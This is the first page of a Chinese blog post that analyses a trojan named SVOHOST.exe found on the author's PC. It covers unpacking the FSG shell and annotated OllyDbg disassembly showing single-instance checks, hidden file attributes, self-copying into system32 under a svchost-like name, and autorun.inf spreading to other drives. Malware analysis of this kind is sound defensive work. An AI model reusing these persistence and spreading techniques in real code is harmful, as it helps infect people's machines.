为了提高电脑的那点响应速度,一直都很吝啬安装杂七杂八的软件,包括杀毒软件.最多也就一个月来一次.(小编汗!一个月来一次,什么啊?)汗?什么啊?一个月来一次系统重做啊.
这次系统重做后,居然发现可意进程。不会是中毒了吧。我就去了一下微软的UP Date升级补丁。虽然现在挂马的很多,但是也没有NB到微软的也挂上了吧.看了看IE,给插入了个winscok.dll,还弹出个视频聊天室的网站。得分析分析原因.
找到文件路径,DIR还不出来,只有DIR /A 看来是系统文件。

找到文件,复制不出来,设置显示系统文件也显示不出来。郁闷到安全模式下。
来个ATTRIB ?A ?R ?H ?S 把他的系统,隐藏等属性都给去了。在来DIR就可以看到我们的小马了。

用PEID查壳,是FSG2.0的壳,现在很多木马加这个壳。压缩效果也不错,我脱壳后程序34K变了144K.,压缩比例4倍。这是后话,本来打算手脱的,但是这个壳修复比较麻烦,本人对PE认识欠佳,于是谷哥求助。

RIF的牛人做了个专门的UnFSG,就是脱壳工具。只要把加壳的程序载入进去就可以轻松的脱壳,简直是秒杀。

程序脱出来后PEID依然是显示yoda's Protector v1.02 (.dll,.ocx) --> Ashkbiz Danehkar *,我还以为是壳中有壳。这个壳类似与仙剑的壳,本来打算OD载入手脱,载入后发现程序已经无壳了。是由Delph编写。
那我们就来分析分析这个病毒性质的小马吧。先看看他的一些运行原理和机制。
00408DF4 >/$Content$nbsp; 55 PUSH EBP
00408DF5 |. 8BEC MOV EBP,ESP
00408DF7 |. B9 07000000 MOV ECX,7
00408DFC |> 6A 00 /PUSH 0
00408DFE |. 6A 00 |PUSH 0
00408E00 |. 49 |DEC ECX
00408E01 |.^ 75 F9 \JNZ SHORT SVOHOST.00408DFC
00408E03 |. 51 PUSH ECX
00408E04 |. 53 PUSH EBX
00408E05 |. 56 PUSH ESI
00408E06 |. B8 648D4000 MOV EAX,SVOHOST.00408D64
00408E0B |. E8 6CB4FFFF CALL SVOHOST.0040427C
00408E10 |. 33C0 XOR EAX,EAX
00408E12 |. 55 PUSH EBP
00408E13 |. 68 B2904000 PUSH SVOHOST.004090B2
00408E18 |. 64:FF30 PUSH DWORD PTR FS:[EAX]
00408E1B |. 64:8920 MOV DWORD PTR FS:[EAX],ESP
00408E1E |. 68 C0904000 PUSH SVOHOST.004090C0 ; /Title = "dqhx"
00408E23 |. 68 C0904000 PUSH SVOHOST.004090C0 ; |Class = "dqhx"
00408E28 |. E8 7BB6FFFF CALL <JMP.&user32.FindWindowA> ; \FindWindowA
00408E2D |. 85C0 TEST EAX,EAX //比较是否已经运行
00408E2F |. 74 36 JE SHORT SVOHOST.00408E67 //没有运行跳
程序的开头调用FindWindowA函数比较Title = "dqhx"来判断木马程序是否运行,如果TEST EAX,EAX相等折表示已运行。也就是你中木马了.
00408E31 |. 6A 00 PUSH 0 ; /lParam = 0
00408E33 |. 6A 00 PUSH 0 ; |wParam = 0
00408E35 |. 6A 10 PUSH 10 ; |Message = WM_CLOSE
00408E37 |. 68 C0904000 PUSH SVOHOST.004090C0 ; |/dqhx
00408E3C |. 68 C0904000 PUSH SVOHOST.004090C0 ; ||dqhx
00408E41 |. E8 62B6FFFF CALL <JMP.&user32.FindWindowA>
00408E46 |. 50 PUSH EAX ; |hWnd
00408E47 |. E8 BCB6FFFF CALL <JMP.&user32.SendMessageA>
SendMessage必须等待其他程序处理消息后才返回,继续执行
00408E4C |. 6A 00 PUSH 0 ; /lParam = 0
00408E4E |. 6A 01 PUSH 1 ; |wParam = 1
00408E50 |. 6A 12 PUSH 12 ; |Message = WM_QUIT
00408E52 |. 68 C0904000 PUSH SVOHOST.004090C0 ; |/dqhx
00408E57 |. 68 C0904000 PUSH SVOHOST.004090C0 ; ||dqhx
00408E5C |. E8 47B6FFFF CALL <JMP.&user32.FindWindowA>
00408E61 |. 50 PUSH EAX ; |hWnd = NULL
00408E62 |. E8 89B6FFFF CALL <JMP.&user32.PostMessageA>
PostMessage把消息放入队列,不管其他程序是否处理都返回,然后继续执行
00408E95 |. BA E4904000 MOV EDX,SVOHOST.004090E4 //文件名 ASCII "SVOHOST.exe"
00408E9A |. E8 89ADFFFF CALL SVOHOST.00403C28
00403C28 $Content$nbsp; 85D2 TEST EDX,EDX
00403C2A . 74 3F JE SHORT SVOHOST.00403C6B
00408EA7 |. 50 PUSH EAX //我机器的程序路径 |FileName = "C:\windows\system32\SVOHOST.exe"
00408EA8 |. E8 A3B5FFFF CALL <JMP.&kernel32.SetFileAttributesA> ; \SetFileAttributesA 设置文件属性+A+H+R
00408EBD |. BA F8904000 MOV EDX,SVOHOST.004090F8 ; ASCII "winscok.dll"//插入
00408EAD |. 68 80000000 PUSH 80
00408EB2 |. 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18]
00408EB5 |. E8 DEC1FFFF CALL SVOHOST.00405098
00408EBA |. 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18]
00408EBD |. BA F8904000 MOV EDX,SVOHOST.004090F8 ; winscok.dll
00408EC2 |. E8 61ADFFFF CALL SVOHOST.00403C28
00408EC7 |. 8B45 E8 MOV EAX,DWORD PTR SS:[EBP-18]
00408ECA |. E8 49AFFFFF CALL SVOHOST.00403E18
00408ECF |. 50 PUSH EAX //EAX = "C:\windows\system32\winscok.dll"
00408ED0 |. E8 7BB5FFFF CALL <JMP.&kernel32.SetFileAttributesA> ; \SetFileAttributesA 设置文件属性+A+H+R
00408ED5 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408EDA |. BA 04010000 MOV EDX,104
00408EDF |. E8 5CB0FFFF CALL SVOHOST.00403F40
00408EE4 |. 68 04010000 PUSH 104
00408EE9 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408EEE |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
00408EF0 |. E8 23AFFFFF CALL SVOHOST.00403E18
00408EF5 |. 50 PUSH EAX ; |PathBuffer //EAX 程序路径
00408EF6 |. A1 00B74000 MOV EAX,DWORD PTR DS:[40B700] ; |
00408EFB |. 50 PUSH EAX ; |hModule => 00400000 (SVOHOST)
00408EFC |. E8 FFB4FFFF CALL <JMP.&kernel32.GetModuleFileNameA>
/获取文件运行的路径我电脑是 "D:\Fuck You Too\SVOHOST.exe"
00408F01 |. 8BD0 MOV EDX,EAX
00408F03 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408F08 |. E8 33B0FFFF CALL SVOHOST.00403F40
00408F0D |. 8D45 E4 LEA EAX,DWORD PTR SS:[EBP-1C]
00408F10 |. E8 83C1FFFF CALL SVOHOST.00405098
00408F15 |. 8D45 E4 LEA EAX,DWORD PTR SS:[EBP-1C]
00408F18 |. BA E4904000 MOV EDX,SVOHOST.004090E4 ; ASCII "SVOHOST.exe"
00408F1D |. E8 06ADFFFF CALL SVOHOST.00403C28
00408F22 |. 8B45 E4 MOV EAX,DWORD PTR SS:[EBP-1C]
00408F25 |. E8 EEAEFFFF CALL SVOHOST.00403E18
00408F2A |. 50 PUSH EAX ; /FileName
00408F2B |. E8 80B4FFFF CALL <JMP.&kernel32.DeleteFileA> ; \DeleteFileA //删除
00408F30 |. 6A 00 PUSH 0
00408F32 |. 8D45 E0 LEA EAX,DWORD PTR SS:[EBP-20]
00408F35 |. E8 5EC1FFFF CALL SVOHOST.00405098
00408F3A |. 8D45 E0 LEA EAX,DWORD PTR SS:[EBP-20]
00408F3D |. BA E4904000 MOV EDX,SVOHOST.004090E4 ; ASCII "SVOHOST.exe"
00408F42 |. E8 E1ACFFFF CALL SVOHOST.00403C28
00408F47 |. 8B45 E0 MOV EAX,DWORD PTR SS:[EBP-20]
00408F4A |. E8 C9AEFFFF CALL SVOHOST.00403E18
00408F4F |. 50 PUSH EAX
00408F50 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408F55 |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
00408F57 |. E8 BCAEFFFF CALL SVOHOST.00403E18
00408F5C |. 50 PUSH EAX ; |ExistingFileName
00408F5D |. E8 0EB4FFFF CALL <JMP.&kernel32.CopyFileA>
00408F62 |. 8D55 DC LEA EDX,DWORD PTR SS:[EBP-24]
00408F65 |. A1 1CA14000 MOV EAX,DWORD PTR DS:[40A11C]
00408F6A |. 8B00 MOV EAX,DWORD PTR DS:[EAX]
00408F6C |. E8 A3C0FFFF CALL SVOHOST.00405014
00408F71 |. 8B45 DC MOV EAX,DWORD PTR SS:[EBP-24]
00408F74 |. 50 PUSH EAX
00408F75 |. 8D45 D4 LEA EAX,DWORD PTR SS:[EBP-2C]
00408F78 |. E8 1BC1FFFF CALL SVOHOST.00405098
00408F7D |. 8D45 D4 LEA EAX,DWORD PTR SS:[EBP-2C]
00408F80 |. BA E4904000 MOV EDX,SVOHOST.004090E4 ; ASCII "SVOHOST.exe"
00408F85 |. E8 9EACFFFF CALL SVOHOST.00403C28
00408F8A |. 8B45 D4 MOV EAX,DWORD PTR SS:[EBP-2C]
00408F8D |. 8D55 D8 LEA EDX,DWORD PTR SS:[EBP-28]
00408F90 |. E8 7FC0FFFF CALL SVOHOST.00405014
//这里CALL 调用CharUpperBuffA,EAX的路径是"C:\windows\system32\SVOHOST.exe"了.
00408F95 |. 8B55 D8 MOV EDX,DWORD PTR SS:[EBP-28]
00408F98 |. 58 POP EAX
00408F99 |. E8 C6ADFFFF CALL SVOHOST.00403D64
00408F9E |. 74 44 JE SHORT SVOHOST.00408FE4
00408FA0 |. E8 13BDFFFF CALL SVOHOST.00404CB8
00408FA5 |. E8 BAD8FFFF CALL SVOHOST.00406864
00408FAA |. 6A 01 PUSH 1
00408FAC |. 6A 00 PUSH 0
00408FAE |. 6A 00 PUSH 0
00408FB0 |. 8D45 D0 LEA EAX,DWORD PTR SS:[EBP-30]
00408FB3 |. E8 E0C0FFFF CALL SVOHOST.00405098
00408FB8 |. 8D45 D0 LEA EAX,DWORD PTR SS:[EBP-30]
00408FBB |. BA E4904000 MOV EDX,SVOHOST.004090E4 ; ASCII "SVOHOST.exe"
00408FC0 |. E8 63ACFFFF CALL SVOHOST.00403C28
00408FC5 |. 8B45 D0 MOV EAX,DWORD PTR SS:[EBP-30]
00408FC8 |. E8 4BAEFFFF CALL SVOHOST.00403E18
00408FCD |. 50 PUSH EAX ; |FileName = "C:\windows\system32\SVOHOST.exe"
00408FCE |. 68 04914000 PUSH SVOHOST.00409104 ; |Operation = "open"
00408FD3 |. 6A 00 PUSH 0 ; |hWnd = NULL
00408FD5 |. E8 A6B6FFFF CALL SVOHOST.00404680
ShellExecuteA运行C:\windows\system32\SVOHOST.exe这个文件,和系统文件SVCHOST.EXE 就差一个字.但是运行里面是可以看的到的。
00408FDA |. E8 E9E0FFFF CALL SVOHOST.004070C8
00408FDF |. E9 B3000000 JMP SVOHOST.00409097
00409097 |> 33C0 XOR EAX,EAX //清除EAX的路径了
00405F9E |. 50 |PUSH EAX ; /RootPathName //磁盘容量
00405F9F |. E8 4CE4FFFF |CALL <JMP.&kernel32.GetDriveTypeA> ; \GetDriveTypeA //获取驱动盘
00405FA4 |. 83F8 02 |CMP EAX,2 //判断分区数
00405FA7 |. 0F85 50020000 |JNZ SVOHOST.004061FD
00405FAD |. 8D45 F0 |LEA EAX,DWORD PTR SS:[EBP-10]
00405FB0 |. B9 44624000 |MOV ECX,SVOHOST.00406244 // 生成 autorun.inf 文件
00405FB5 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4]
00405FB8 |. E8 AFDCFFFF |CALL SVOHOST.00403C6C
00405FBD |. 8B45 F0 |MOV EAX,DWORD PTR SS:[EBP-10]
00405FC0 |. E8 E3ECFFFF |CALL SVOHOST.00404CA8
00405FC5 |. 3C 01 |CMP AL,1
00405FC7 |. 75 61 |JNZ SHORT SVOHOST.0040602A
00405FC9 |. 8D45 EC |LEA EAX,DWORD PTR SS:[EBP-14]
00405FCC |. B9 5C624000 |MOV ECX,SVOHOST.0040625C // 生成 sxs.exe文件
00405FD1 |. 8B55 FC |MOV EDX,DWORD PTR SS:[EBP-4]
00405FD4 |. E8 93DCFFFF |CALL SVOHOST.00403C6C
00405FD9 |. 8B45 EC |MOV EAX,DWORD PTR SS:[EBP-14]
00405FDC |. E8 C7ECFFFF |CALL SVOHOST.00404CA8
00405FE1 |. 3C 01 |CMP AL,1
00405FE3 |. 75 45 |JNZ SHORT SVOHOST.0040602A
在其他分区生成名为 autorun.inf 和sxs.exe二个同级文件.文件属性为+A +H +S
1 2 下一页